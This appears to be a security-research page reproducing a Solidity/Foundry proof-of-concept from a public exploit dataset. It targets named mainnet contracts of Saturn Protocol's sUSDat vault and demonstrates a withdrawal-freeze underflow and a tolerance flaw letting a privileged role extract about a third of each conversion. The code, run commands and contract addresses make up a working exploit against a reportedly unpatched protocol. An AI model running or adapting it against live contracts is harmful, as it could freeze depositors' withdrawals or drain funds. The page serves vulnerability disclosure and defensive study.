Public reproduction file
src/test/2026-04/SaturnProtocol_exp.sol
Public reproduction file for dataset entry Saturn Protocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// @KeyInfo — Vulnerability Disclosure (unpatched, no historical exploit)7// Protocol : Saturn Protocol — StakedUSDat (sUSDat) ERC4626 vault8// Chain : Ethereum Mainnet9// TVL at Risk : ~$35.7M USD (DeFiLlama, 2026-04-14)10// Severity : SAT-001 Critical | SAT-002 High11// Date Found : 2026-04-1412// Researcher : Innora Security Research (feng@innora.ai)13// Full Report : https://gist.github.com/sgInnora/b70ad98327649ed4ab976a122f45e48514// Twitter : https://x.com/Innora_sg/status/204397913161719404316// @Vulnerability SAT-001 — Withdrawal Freeze via Arithmetic Underflow17// convertFromStrc() panics when strcBalance < getUnvestedAmount().18// Triggered by processing queued redemptions after distributing rewards19// (routine operations — no malicious actor required).20// Effect: all withdrawals frozen for up to 30 days (vestingPeriod);21// indefinitely if transferInRewards() is called again during the freeze.23// @Vulnerability SAT-002 — PROCESSOR Extracts up to 33.33% per Conversion24// _validateConversion() applies toleranceBps=2000 (20%) independently to25// BOTH price and amount checks. Compound effect: 1 - (0.8/1.2) = 33.33%26// extraction rate per convertFromUsdat() call.27// PROCESSOR_ROLE: 0x09d6e34ce24d54890ff0bc6a090b5f880f8c729f29// @Contracts30// sUSDat Proxy : 0xD166337499E176bbC38a1FBd113Ab144e5bd2Df731// sUSDat Impl : 0x2005e0ca201a37694125ff267ae57872bea0a0ce32// SwapFacility : 0xB6807116b3B1B321a390594e31ECD6e0076f627833// USDat : 0x23238f20b894f29041f48D88eE91131C395Aaa7134// WithdrawQueue: 0x4Bc9FEC04F0F95e9b42a3EF18F3C96fB57923D2e36// @Verification37// cast call 0xD166337499E176bbC38a1FBd113Ab144e5bd2Df7 "toleranceBps()(uint256)" \38// --rpc-url https://1rpc.io/eth39// # Returns: 2000 (unpatched as of 2026-04-14)41// @Run42// forge test --match-contract SaturnProtocol_SAT001 -vvv --fork-url https://rpc.ankr.com/eth43// forge test --match-contract SaturnProtocol_SAT001_Proof -vvv # (no fork needed)45interface ISUSDat {46 function transferInRewards(uint256 strcAmount) external;47 function convertFromStrc(uint256 strcAmount, uint256 usdatAmount, uint256 strcSalePrice) external;48 function convertFromUsdat(uint256 usdatAmount, uint256 strcAmount, uint256 strcPurchasePrice) external;49 function burnQueuedShares(uint256 shares, uint256 strcAmount) external;50 function getUnvestedAmount() external view returns (uint256);51 function strcBalance() external view returns (uint256);52 function vestingAmount() external view returns (uint256);53 function vestingPeriod() external view returns (uint256);54 function totalAssets() external view returns (uint256);55 function toleranceBps() external view returns (uint256);56}58// ═══════════════════════════════════════════════════════════════════════════59// SAT-001: Withdrawal Freeze PoC (requires mainnet fork)60// ═══════════════════════════════════════════════════════════════════════════61contract SaturnProtocol_SAT001 is Test {62 ISUSDat constant SUSDAT = ISUSDat(0xD166337499E176bbC38a1FBd113Ab144e5bd2Df7);63 address constant WQ = 0x4Bc9FEC04F0F95e9b42a3EF18F3C96fB57923D2e;64 address constant PROCESSOR = 0x09d6e34ce24d54890ff0bc6a090b5f880f8c729f;66 function setUp() public {67 vm.createSelectFork("mainnet");68 vm.label(PROCESSOR, "PROCESSOR_ROLE");69 vm.label(address(SUSDAT), "sUSDat");70 vm.label(WQ, "WithdrawalQueue");71 }73 /// @notice Demonstrates SAT-001: normal operations freeze all withdrawals74 function testSAT001_WithdrawalFreeze() public {75 uint256 strcBal = SUSDAT.strcBalance();76 uint256 vestingPer = SUSDAT.vestingPeriod();78 console.log("=== SAT-001: Withdrawal Freeze PoC ===");79 console.log("Chain state (mainnet fork):");80 console.log(" strcBalance :", strcBal);81 console.log(" vestingPeriod:", vestingPer / 1 days, "days");82 console.log(" totalAssets :", SUSDAT.totalAssets() / 1e6, "USDat (USDC-scaled)");84 require(SUSDAT.getUnvestedAmount() == 0, "Active vesting: run after current vesting cycle");86 // ── Step 1: PROCESSOR distributes rewards ───────────────────────────87 uint256 REWARD = strcBal / 2;88 vm.prank(PROCESSOR);89 SUSDAT.transferInRewards(REWARD);91 console.log("\n[Step 1] transferInRewards(%s STRC)", REWARD);92 console.log(" strcBalance after :", SUSDAT.strcBalance());93 console.log(" vestingAmount :", SUSDAT.vestingAmount());94 console.log(" getUnvestedAmount :", SUSDAT.getUnvestedAmount());96 // ── Step 2: WithdrawalQueue processes pre-existing redemptions ───────97 // Users submitted redemptions when strcBalance = strcBal.98 // The queue legitimately burns strcBal + 1 (1 unit past pre-reward vested).99 uint256 BURN = strcBal + 1;100 vm.prank(WQ);101 SUSDAT.burnQueuedShares(0, BURN);103 uint256 strcAfterBurn = SUSDAT.strcBalance();104 uint256 unvested = SUSDAT.getUnvestedAmount();105 console.log("\n[Step 2] burnQueuedShares(%s STRC)", BURN);106 console.log(" strcBalance after :", strcAfterBurn);107 console.log(" getUnvestedAmount :", unvested);108 console.log(" Invariant broken :", strcAfterBurn < unvested ? "YES" : "NO");110 // ── Step 3: convertFromStrc panics — all withdrawals frozen ─────────111 console.log("\n[Step 3] convertFromStrc() — should PANIC (0x11)");112 vm.expectRevert();113 vm.prank(PROCESSOR);114 SUSDAT.convertFromStrc(1, 1, 100e8);116 console.log("[CONFIRMED] Withdrawal freeze active");117 console.log(" Duration: up to", vestingPer / 1 days, "days");118 console.log(" No admin escape hatch exists");120 // ── Step 4: Verify self-healing after vesting period ────────────────121 vm.warp(block.timestamp + vestingPer + 1);122 console.log("\n[Step 4] After vestingPeriod expires:");123 console.log(" getUnvestedAmount:", SUSDAT.getUnvestedAmount(), "(should be 0)");124 console.log(" Freeze lifted — withdrawals can resume");125 }126}128// ═══════════════════════════════════════════════════════════════════════════129// SAT-001: Pure Arithmetic Proof (no fork required)130// ═══════════════════════════════════════════════════════════════════════════131contract SaturnProtocol_SAT001_Proof is Test {132 /// @notice Proves the underflow is deterministic for realistic parameters133 function testSAT001_ArithmeticProof() public pure {134 // Realistic state after trigger sequence:135 // T0: strcBalance=100, vestingAmount=0136 // T1: transferInRewards(50) → strcBalance=150, vestingAmount=50137 // T2: burnQueuedShares(120) → strcBalance=30, vestingAmount=50138 uint256 strcBalance = 30_000_000; // 30 STRC (6 decimals)139 uint256 vestingAmount = 50_000_000; // 50 STRC140 uint256 vestingPeriod = 30 days;141 uint256 timeSinceVest = 1; // 1 second after reward143 // Reproduce getUnvestedAmount() ceiling division144 uint256 unvested = ((vestingPeriod - timeSinceVest) * vestingAmount + vestingPeriod - 1)145 / vestingPeriod;147 console.log("=== SAT-001 Arithmetic Proof ===");148 console.log("strcBalance :", strcBalance);149 console.log("unvestedAmount:", unvested);150 console.log("Underflows :", strcBalance < unvested ? "YES" : "NO");152 // This line in convertFromStrc() causes PANIC code 0x11:153 // uint256 vestedBalance = strcBalance - unvestedAmount;154 assertTrue(strcBalance < unvested, "Underflow confirmed: convertFromStrc will PANIC");155 console.log("[CONFIRMED] Solidity 0.8 arithmetic underflow is deterministic");156 }157}159// ═══════════════════════════════════════════════════════════════════════════160// SAT-002: Dual-Tolerance Extraction Math Proof (no fork required)161// ═══════════════════════════════════════════════════════════════════════════162contract SaturnProtocol_SAT002_Proof is Test {163 uint256 constant TOLERANCE_BPS = 2000; // toleranceBps = 2000 (20%)164 uint256 constant BPS_BASE = 10000;166 /// @notice Proves PROCESSOR can extract 33.33% by maximizing both tolerances167 function testSAT002_DualToleranceExtraction() public pure {168 uint256 usdatIn = 1_000_000e6; // $1,000,000 USDat (6 decimals)169 uint256 oraclePrice = 100e8; // $100/STRC (8 decimals)171 // Maximally-deviated price: oracle × (1 + toleranceBps/BPS_BASE)172 uint256 maxPrice = oraclePrice * (BPS_BASE + TOLERANCE_BPS) / BPS_BASE;173 // = 100e8 × 1.20 = 120e8175 // Expected STRC at maxPrice176 uint256 expectedStrcAtMaxPrice = mulDiv(usdatIn, 1e8, maxPrice);177 // = 1_000_000e6 × 1e8 / 120e8 = 8_333 STRC179 // Min STRC allowed: expectedStrcAtMaxPrice × (1 - toleranceBps/BPS_BASE)180 uint256 minStrc = mulDiv(expectedStrcAtMaxPrice, BPS_BASE - TOLERANCE_BPS, BPS_BASE);181 // = 8_333 × 0.80 = 6_667 STRC183 // What the vault should have received at oracle price184 uint256 fairStrc = mulDiv(usdatIn, 1e8, oraclePrice);185 // = 1_000_000e6 × 1e8 / 100e8 = 10_000 STRC187 uint256 shortfall = fairStrc - minStrc;188 uint256 extractionBps = shortfall * BPS_BASE / fairStrc;190 console.log("=== SAT-002 Dual-Tolerance Extraction Proof ===");191 console.log("USDat in : $1,000,000");192 console.log("Oracle price : $100/STRC");193 console.log("Max allowed price : $120/STRC (+20%)");194 console.log("Expected STRC@$120:", expectedStrcAtMaxPrice / 1e6, "STRC");195 console.log("Min STRC credited :", minStrc / 1e6, "STRC (-20% of expected)");196 console.log("Fair STRC (oracle):", fairStrc / 1e6, "STRC");197 console.log("Shortfall :", shortfall / 1e6, "STRC = $333,333");198 console.log("Extraction rate :", extractionBps, "bps =", extractionBps / 100, "%");200 // 1 - (0.8 / 1.2) = 33.33% = 3333 bps201 assertApproxEqAbs(extractionBps, 3333, 2, "Extraction rate should be ~33.33%");202 console.log("[CONFIRMED] PROCESSOR can extract 33.33% per convertFromUsdat call");203 console.log("[LIVE] toleranceBps=2000 verified on mainnet 2026-04-14");204 }206 // Overflow-safe mulDiv (mirrors OpenZeppelin Math.mulDiv)207 function mulDiv(uint256 x, uint256 y, uint256 z) internal pure returns (uint256) {208 return (x * y) / z;209 }210}Analysis
Dataset entry
Public Foundry test for “Saturn Protocol” (2026-04-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
- src/test/2024-05/SATURN_exp.solSame protocol or name in the dataset · 133 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Saturn Protocol
- Path
- src/test/2026-04/SaturnProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 56ea2467bb8de6c7a4e75c97b04a37bec22be055
- Language
- Solidity
- Size
- 211 lines
- Date
- 2026-04-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/SaturnProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 56ea2467bb8de6c7a4e75c97b04a37bec22be055, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.